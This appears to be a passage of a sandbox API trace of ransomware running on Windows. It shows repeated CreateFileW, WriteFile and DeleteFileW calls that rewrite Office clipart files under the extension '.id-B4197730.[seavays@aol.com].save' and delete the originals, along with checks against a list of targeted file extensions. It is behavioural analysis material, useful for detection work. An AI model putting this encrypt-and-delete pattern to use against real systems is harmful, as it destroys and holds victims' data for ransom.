[0065.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0066.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0066.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0066.050] lstrlenW (lpString=".doc") returned 4 [0066.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.050] lstrlenW (lpString=".docx") returned 5 [0066.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.050] lstrlenW (lpString=".pdf") returned 4 [0066.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.050] lstrlenW (lpString=".xls") returned 4 [0066.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.050] lstrlenW (lpString=".xlsx") returned 5 [0066.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.050] lstrlenW (lpString=".ppt") returned 4 [0066.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0066.050] lstrlenW (lpString=".zip") returned 4 [0066.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.050] lstrlenW (lpString=".rar") returned 4 [0066.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.050] lstrlenW (lpString=".bz2") returned 4 [0066.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.050] lstrlenW (lpString=".7z") returned 3 [0066.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0066.050] lstrlenW (lpString=".dbf") returned 4 [0066.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0066.051] lstrlenW (lpString=".1cd") returned 4 [0066.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0066.051] lstrlenW (lpString=".jpg") returned 4 [0066.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.523] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.523] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.524] GetLastError () returned 0x0 [0066.524] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x27a2, lpOverlapped=0x0) returned 1 [0066.525] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x27b0, lpOverlapped=0x0) returned 1 [0066.526] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0066.526] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0066.526] SetEndOfFile (hFile=0x2f4) returned 1 [0066.527] CloseHandle (hObject=0x2f4) returned 1 [0066.527] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.527] SetEndOfFile (hFile=0x390) returned 1 [0066.528] CloseHandle (hObject=0x390) returned 1 [0066.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0066.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0066.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0066.529] lstrlenW (lpString=".doc") returned 4 [0066.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.529] lstrlenW (lpString=".docx") returned 5 [0066.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.529] lstrlenW (lpString=".pdf") returned 4 [0066.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.529] lstrlenW (lpString=".xls") returned 4 [0066.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.529] lstrlenW (lpString=".xlsx") returned 5 [0066.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.529] lstrlenW (lpString=".ppt") returned 4 [0066.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0066.529] lstrlenW (lpString=".zip") returned 4 [0066.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.529] lstrlenW (lpString=".rar") returned 4 [0066.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.530] lstrlenW (lpString=".bz2") returned 4 [0066.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.530] lstrlenW (lpString=".7z") returned 3 [0066.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0066.530] lstrlenW (lpString=".dbf") returned 4 [0066.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0066.530] lstrlenW (lpString=".1cd") returned 4 [0066.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0066.530] lstrlenW (lpString=".jpg") returned 4 [0066.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.530] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.708] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.708] GetLastError () returned 0x0 [0066.708] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x9fc, lpOverlapped=0x0) returned 1 [0066.710] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xa00, lpOverlapped=0x0) returned 1 [0066.712] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0066.712] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0066.712] SetEndOfFile (hFile=0x2f4) returned 1 [0066.712] CloseHandle (hObject=0x2f4) returned 1 [0066.713] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.713] SetEndOfFile (hFile=0x390) returned 1 [0066.714] CloseHandle (hObject=0x390) returned 1 [0066.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0066.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0066.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0066.716] lstrlenW (lpString=".doc") returned 4 [0066.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.716] lstrlenW (lpString=".docx") returned 5 [0066.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.716] lstrlenW (lpString=".pdf") returned 4 [0066.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.716] lstrlenW (lpString=".xls") returned 4 [0066.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.716] lstrlenW (lpString=".xlsx") returned 5 [0066.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.716] lstrlenW (lpString=".ppt") returned 4 [0066.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0066.716] lstrlenW (lpString=".zip") returned 4 [0066.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.716] lstrlenW (lpString=".rar") returned 4 [0066.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.716] lstrlenW (lpString=".bz2") returned 4 [0066.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.716] lstrlenW (lpString=".7z") returned 3 [0066.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0066.716] lstrlenW (lpString=".dbf") returned 4 [0066.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0066.717] lstrlenW (lpString=".1cd") returned 4 [0066.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0066.717] lstrlenW (lpString=".jpg") returned 4 [0066.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.718] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.719] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.719] GetLastError () returned 0x0 [0066.719] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1678, lpOverlapped=0x0) returned 1 [0066.721] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1680, lpOverlapped=0x0) returned 1 [0066.722] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0066.722] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0066.723] SetEndOfFile (hFile=0x2f4) returned 1 [0066.723] CloseHandle (hObject=0x2f4) returned 1 [0066.724] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.724] SetEndOfFile (hFile=0x390) returned 1 [0066.725] CloseHandle (hObject=0x390) returned 1 [0066.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0066.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0066.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0066.726] lstrlenW (lpString=".doc") returned 4 [0066.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.726] lstrlenW (lpString=".docx") returned 5 [0066.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.726] lstrlenW (lpString=".pdf") returned 4 [0066.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.727] lstrlenW (lpString=".xls") returned 4 [0066.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.727] lstrlenW (lpString=".xlsx") returned 5 [0066.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.727] lstrlenW (lpString=".ppt") returned 4 [0066.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0066.727] lstrlenW (lpString=".zip") returned 4 [0066.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.727] lstrlenW (lpString=".rar") returned 4 [0066.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.727] lstrlenW (lpString=".bz2") returned 4 [0066.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.727] lstrlenW (lpString=".7z") returned 3 [0066.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0066.727] lstrlenW (lpString=".dbf") returned 4 [0066.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0066.727] lstrlenW (lpString=".1cd") returned 4 [0066.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0066.727] lstrlenW (lpString=".jpg") returned 4 [0066.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.728] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.728] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.729] GetLastError () returned 0x0 [0066.729] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xa54, lpOverlapped=0x0) returned 1 [0066.731] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xa60, lpOverlapped=0x0) returned 1 [0066.732] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0066.732] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0066.733] SetEndOfFile (hFile=0x2f4) returned 1 [0066.733] CloseHandle (hObject=0x2f4) returned 1 [0066.734] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.734] SetEndOfFile (hFile=0x390) returned 1 [0066.735] CloseHandle (hObject=0x390) returned 1 [0066.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0066.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0066.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0066.737] lstrlenW (lpString=".doc") returned 4 [0066.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.737] lstrlenW (lpString=".docx") returned 5 [0066.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.737] lstrlenW (lpString=".pdf") returned 4 [0066.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.737] lstrlenW (lpString=".xls") returned 4 [0066.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.737] lstrlenW (lpString=".xlsx") returned 5 [0066.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.737] lstrlenW (lpString=".ppt") returned 4 [0066.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0066.737] lstrlenW (lpString=".zip") returned 4 [0066.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.737] lstrlenW (lpString=".rar") returned 4 [0066.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.737] lstrlenW (lpString=".bz2") returned 4 [0066.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.737] lstrlenW (lpString=".7z") returned 3 [0066.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0066.737] lstrlenW (lpString=".dbf") returned 4 [0066.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0066.737] lstrlenW (lpString=".1cd") returned 4 [0066.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0066.738] lstrlenW (lpString=".jpg") returned 4 [0066.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.738] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.738] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.739] GetLastError () returned 0x0 [0066.739] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1498, lpOverlapped=0x0) returned 1 [0067.247] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x14a0, lpOverlapped=0x0) returned 1 [0067.249] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.249] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0067.249] SetEndOfFile (hFile=0x2f4) returned 1 [0067.250] CloseHandle (hObject=0x2f4) returned 1 [0067.251] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.251] SetEndOfFile (hFile=0x390) returned 1 [0067.252] CloseHandle (hObject=0x390) returned 1 [0067.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0067.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0067.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0067.254] lstrlenW (lpString=".doc") returned 4 [0067.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.254] lstrlenW (lpString=".docx") returned 5 [0067.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.254] lstrlenW (lpString=".pdf") returned 4 [0067.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.254] lstrlenW (lpString=".xls") returned 4 [0067.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.254] lstrlenW (lpString=".xlsx") returned 5 [0067.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.254] lstrlenW (lpString=".ppt") returned 4 [0067.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0067.254] lstrlenW (lpString=".zip") returned 4 [0067.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.254] lstrlenW (lpString=".rar") returned 4 [0067.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.254] lstrlenW (lpString=".bz2") returned 4 [0067.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.254] lstrlenW (lpString=".7z") returned 3 [0067.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0067.254] lstrlenW (lpString=".dbf") returned 4 